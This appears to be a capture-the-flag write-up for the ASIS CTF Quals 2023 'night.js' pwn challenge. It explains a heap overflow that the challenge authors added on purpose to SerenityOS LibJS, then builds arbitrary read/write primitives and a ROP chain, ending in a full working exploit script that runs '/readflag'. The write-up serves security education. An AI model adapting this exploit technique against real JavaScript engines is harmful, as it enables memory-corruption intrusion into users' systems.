night.js
- Event: ASIS CTF Quals 2023
- Category: pwn
- Solves: 11
- Points: 271
Preliminary
Files can be downloaded from here.
Looking at chall.patch
we see that challenge authors introduced a new bug in SerenityOS’ LibJS
commit hash: 799b465fac5672f167d6fec599fe167bce92862d
...
the provided binaries have debug symbols.
They also provide Dockerfile
so we can download libc.so.6 and ld.so to recreate almost the same environment as in docker.
run.py
file:
with tempfile.NamedTemporaryFile() as tmp:
print('Send the file: (ended with "\\n-- EOF --\\n"):')
s = input()
while(s != '-- EOF --'):
tmp.write((s+'\n').encode())
s = input()
tmp.flush()
os.close(0)
os.system('LD_LIBRARY_PATH=/libjs/ timeout 3 ./js ' + tmp.name)
I put libc.so.6
into /libjs/
folder and on my host I run binary this way:
./ld.so --library-path /libjs/ ./js ../exploit.js
Vulnerability
Let’s checkout the patch they provided. They removed security checks in several places.
file ByteBuffer.h:
--- a/./AK/ByteBuffer.h
+++ b/../patched-serenity/AK/ByteBuffer.h
@@ -104,7 +104,7 @@ public:
[[nodiscard]] u8& operator[](size_t i)
{
- VERIFY(i < m_size);
+ // VERIFY(i < m_size);
return data()[i];
}
If you don’t know C++ or how operator[]
works you can check out this.
ByteBuffer
is an internal class that store data, it is used by other classes
for example ArrayByffer
which has field
of ByteBuffer
class.
ArrayBuffer
can be instantiated from javascript code:
var ab = new ArrayBuffer(0x108)
var ab32 = new Uint32Array(ab)
ab32[0] = 0x11
ab32[1] = 0x22
var ab64 = new BigUint64Array(ab)
ab64[1] = 0x33n
console.log(ab64[0].toString(16))
$ ./ld.so --library-path ./libjs/ ./js ../array.js
"2200000011"
ab
is the “real” array, ab32
and ab64
are only wrappers.
They also patched 2 methods of ArrayBuffer
.
copy_data_block_bytes
:
- auto to_size = to_block.size();
+ // auto to_size = to_block.size();
// 5. Assert: toIndex + count ≤ toSize.
- VERIFY(to_index + count <= to_size);
+ // VERIFY(to_index + count <= to_size);
array_buffer_copy_and_detach
:
auto copy_length = min(new_byte_length, array_buffer.byte_length());
+ if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();
Here is a view of calling hierarchy.
copy_data_block_bytes (patched)
↑ slice (ArrayBufferPrototype.cpp)
↑ clone_array_buffer
↑ class TypedArray
↑ array_buffer_copy_and_detach (patched)
↑ transfer (ArrayBufferPrototype.cpp)
↑ transfer_to_fixed_length (ArrayBufferPrototype.cpp)
The possible way of triggering the vulnerability is transfer
-> array_buffer_copy_and_detach
-> copy_data_block_bytes
.
There is also the second way - transfer_to_fixed_length
but it is the same function as transfer
.
transfer
is a method of ArrayBuffer
which is callable from javascript. It creates a new ArrayBuffer
and copies data from the source array.
It can have 0 or 1 argument, this is an example which creates array of size 8 and copies 8 bytes (at least before the patch) :
var ab = new ArrayBuffer(0x108)
n = ab.transfer(8)
Below, starting from transfer
, is a code which leads to vulnerability,
but I cut off parts that were not relevant and put comments:
//ArrayBufferPrototype.cpp
JS_DEFINE_NATIVE_FUNCTION(ArrayBufferPrototype::transfer)
{
//....
//Argument
auto new_length = vm.argument(0);
return TRY(array_buffer_copy_and_detach(vm, array_buffer_object, new_length, PreserveResizability::PreserveResizability));
}
↓
//ArrayBuffer.cpp
ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer& array_buffer, Value new_length, PreserveResizability)
{
//....
// new_byte_length is equal to 'transfer' argument or source array size.
auto new_byte_length = new_length.is_undefined() ? array_buffer.byte_length() : TRY(new_length.to_index(vm));
//....
// Allocate new array of size 'new_byte_length'
auto* new_buffer = TRY(allocate_array_buffer(vm, realm.intrinsics().array_buffer_constructor(), new_byte_length));
//....
// Buffer overflow prevention - min(dest.size,src.size)
auto copy_length = min(new_byte_length, array_buffer.byte_length());
// This line is added by patch.
// Length of data to copy is equal to source buffer size if it's more than 0x100 bytes.
// Ooops
if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();
//....
copy_data_block_bytes(new_buffer->buffer(), 0, array_buffer.buffer(), 0, copy_length);
//....
}
↓
//ArrayBuffer.cpp
void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const& from_block, u64 from_index, u64 count)
{
//....
// Asserts that they were removed in the patch.
// auto to_size = to_block.size();
// VERIFY(to_index + count <= to_size);
//....
while (count > 0) {
//....
// Operations on ByteBuffer objects
to_block[to_index] = from_block[from_index];
// ↓
// ByteBuffer::operator[]
//....
}
//....
}
So we can trigger buffer overflow
vulnerability by providing low argument to tranfer
and source array with size > 0x100
.
This code crashes our patched binary:
var ab = new ArrayBuffer(0x108)
n = ab.transfer(8) // create an array of size 8 and copy 0x108 bytes.
The problem is that we still don’t have any leak.
More Insights
A general method for exploiting JavaScript engines involves creating specialized objects in memory and attempting to overwrite them. A desirable object is one that grants us arbitrary read and write capabilities.
In our case, the vulnerable class ByteBuffer
is also excellent for
overwriting because it contains both size and a pointer to a raw memory region.
Let’s look at ByteBuffer
class.
template<size_t inline_capacity>
class ByteBuffer {
//......
union {
u8 m_inline_buffer[inline_capacity]; // 32 bytes
struct {
u8* m_outline_buffer;
size_t m_outline_capacity;
};
};
size_t m_size { 0 }; // represents the size of an array as perceived by JavaScript.
bool m_inline { true };
}; // 48 bytes
So the class has 2 “modes” - “inline” for smaller arays or “pointer” for bigger arrays.
Let’s attach gdb
and check how it looks inside.
inline mode - array of size 8
:
gef➤ x/6gx 0x555556150200
0x555556150200: 0x4242424242424242 0x0000000000000000
0x555556150210: 0x0000000000000000 0x0000000000000000
0x555556150220: 0x0000000000000008 0x0000000000000001
pointer mode - array of size 0x108
:
gef➤ x/6gx 0x555556150080
0x555556150080: 0x00005555560d9270 0x0000000000000108
0x555556150090: 0x0000000000000000 0x0000000000000000
0x5555561500a0: 0x0000000000000108 0x0000000000000000
gef➤ x/s 0x00005555560d9270
0x5555560d9270: "AAAAAAAA"
If you don’t know how to find an address of your array, use gef’s grep command
I think that the simplest way of exploitation is to overwrite ByteBuffer
in inline mode.
In n = ab.transfer(8)
8
is small enough so a new ByteBuffer in inline mode is created.
Then we write data to m_inline_buffer
and later we overwrite m_size
.
So we can set m_size
to a very big value.
Exploitation
This code allocates a new ArrayBuffer
/ByteBuffer
of size 8
, named big
and overwrite it’s m_size
to 0x1000000
:
var ab = new ArrayBuffer(0x108);
var ab64 = new BigUint64Array(ab);
//big.m_inline_buffer
for (var i = 0; i < 4; i++) ab64[i] = 0x4141414141414141n;
//big.m_size
ab64[4] = 0x1000000n;
//big.m_inline=true
ab64[5] = 0x1n;
//something after big's ByteBuffer
ab64[6] = 0x1n //Must be 0x1, crashes otherwise
big = ab.transfer(8); // new ByteBuffer and overflow it
We write 0x108
bytes while ByteBuffer
is 48
bytes big, so some other objects
are also overwritten, I discovered by luck
that ab64[6]
must by 1
and I wasn’t spending my time to discover why.
Right now we are in a far better situation because we can use big
for further overflows but now
we don’t need to create a new object all the time, so we overflow the same place in memory each time.
And also we can do leaks now.
Let’s create a new ArrayBuffer
/ByteBuffer
with size set to 0x690
and try to find it in memory by reading from big
array:
var target = new ArrayBuffer(0x690);
var target64 = new BigUint64Array(target);
var big64 = new BigUint64Array(big);
//leak
for(var i=0;i<25;i++) {
console.log(i, big64[i].toString(16))
}
->
$ ./ld.so --library-path /libjs/ ./js ../step.js
0 "4141414141414141"
1 "4141414141414141"
2 "4141414141414141"
3 "4141414141414141"
4 "1000000"
5 "1"
6 "1"
7 "0"
8 "7ffff7e7dda8"
9 "100"
10 "7ffff8082560"
11 "0"
12 "0"
13 "0"
14 "0"
15 "0"
16 "7ffff80bb3c0"
17 "690"
18 "0"
19 "0"
20 "690"
21 "0"
22 "1"
23 "7ffe000000000000"
24 "7ffff7e7dda8"
There is 690
at index 17
and 20
. So
-
big[17]
istarget.m_outline_capacity
-
big[20]
istarget.m_size
-
big[16]
istarget.m_outline_buffer
(pointer to data)
As we can read target.m_outline_buffer
from big[16]
, we can also write to it,
later using target as an array it’s possible to read and write data to arbitrary address.
Let’s create helper functions:
function read64(addr) { big64[16] = addr; return target64[0]; }
function write64(addr, val) { big64[16] = addr; target64[0] = val; }
Also notice that under big[8]
is a pointer to liblagom-js.so
.
var liblagom_js_base = big64[8] - 0x67dda8n;
At this point writing further exploit is as straightforward as in usual easy pwning challenge.
Just do some leaks:
free = read64(liblagom_js_base+0x69b420n)
console.log("free 0x" + free.toString(16))
libc_base = free - 0xa8780n
console.log("libc_base 0x" + libc_base.toString(16))
stack_pointer = libc_base + 0x25e8c0n //the second next stack pointer after program_invocation_short_name
stack = read64(stack_pointer)
console.log("stack 0x" + stack.toString(16))
And my last step was to write ROP to a place on the stack
on return address from some function.
Using telescope
and trying a few places I found stack-0x110
as a good place:
binsh = libc_base + 0x1c041bn
pop_rdi = libc_base+0x0000000000028715n;
pop_rsi = libc_base+0x000000000002a671n;
pop_rdx = libc_base+0x0000000000093359n;
syscall = libc_base+0x00000000000942b6n;
pop_rax = libc_base+0x0000000000046663n;
rop = stack-0x110n //where to write rop
check = read64(rop)
console.log("check 0x" + check.toString(16))
write64(rop,pop_rdi)
write64(rop+8n,rop+8n*10n)
write64(rop+8n*2n,pop_rsi)
write64(rop+8n*3n,0n)
write64(rop+8n*4n,pop_rdx)
write64(rop+8n*5n,0n)
write64(rop+8n*6n,0n)
write64(rop+8n*7n,pop_rax)
write64(rop+8n*8n,59n)
write64(rop+8n*9n,syscall)
write64(rop+8n*10n,0x616c66646165722fn)// "/readfla"
write64(rop+8n*11n,0x67n) // "g"
Full exploit
//---STEP 1-----------------------
//ovewrite size of `big` ArrayBuffer
var ab = new ArrayBuffer(0x108);
var ab64 = new BigUint64Array(ab);
//fill inline buffer
for (var i = 0; i < 4; i++) ab64[i] = 0x4141414141414141n;
//m_size
ab64[4] = 0x1000000n;
//m_inline=true, need
ab64[5] = 0x1n;
//something, after ByteBuffer Structure
ab64[6] = 0x1n //Must be 0x1, crashes otherwise
big = ab.transfer(8);
//---STEP 2-----------------------
//create a new structure and leak from 'big'
var target = new ArrayBuffer(0x690);
var target64 = new BigUint64Array(target);
var big64 = new BigUint64Array(big);
//leak
for(var i=0;i<25;i++) {
console.log(i, big64[i].toString(16))
}
//----STEP 3-----------------------
//leak liblagom-js.so
var liblagom_js_base = big64[8] - 0x67dda8n;
console.log("liblagom_js 0x" + liblagom_js_base.toString(16))
//----STEP 4-----------------------
//create arbitrary read and write functions
function read64(addr) { big64[16] = addr; return target64[0]; }
function write64(addr, val) { big64[16] = addr; target64[0] = val; }
//----STEP 5-----------------------
//Do some leaks
free = read64(liblagom_js_base+0x69b420n)
console.log("free 0x" + free.toString(16))
libc_base = free - 0xa8780n
console.log("libc_base 0x" + libc_base.toString(16))
stack_pointer = libc_base + 0x25e8c0n //the second next stack pointer after program_invocation_short_name
stack = read64(stack_pointer)
console.log("stack 0x" + stack.toString(16))
//----STEP 6-----------------------
//Write ROP on the stack in some return address
binsh = libc_base + 0x1c041bn
pop_rdi = libc_base+0x0000000000028715n;
pop_rsi = libc_base+0x000000000002a671n;
pop_rdx = libc_base+0x0000000000093359n;
syscall = libc_base+0x00000000000942b6n;
pop_rax = libc_base+0x0000000000046663n;
rop = stack-0x110n //where to write rop
check = read64(rop)
console.log("check 0x" + check.toString(16))
write64(rop,pop_rdi)
write64(rop+8n,rop+8n*10n)
write64(rop+8n*2n,pop_rsi)
write64(rop+8n*3n,0n)
write64(rop+8n*4n,pop_rdx)
write64(rop+8n*5n,0n)
write64(rop+8n*6n,0n)
write64(rop+8n*7n,pop_rax)
write64(rop+8n*8n,59n)
write64(rop+8n*9n,syscall)
write64(rop+8n*10n,0x616c66646165722fn)// "/readfla"
write64(rop+8n*11n,0x67n) // "g"
Credits
szymex73 and others justCatTheFish members who know javascript, thanks for your help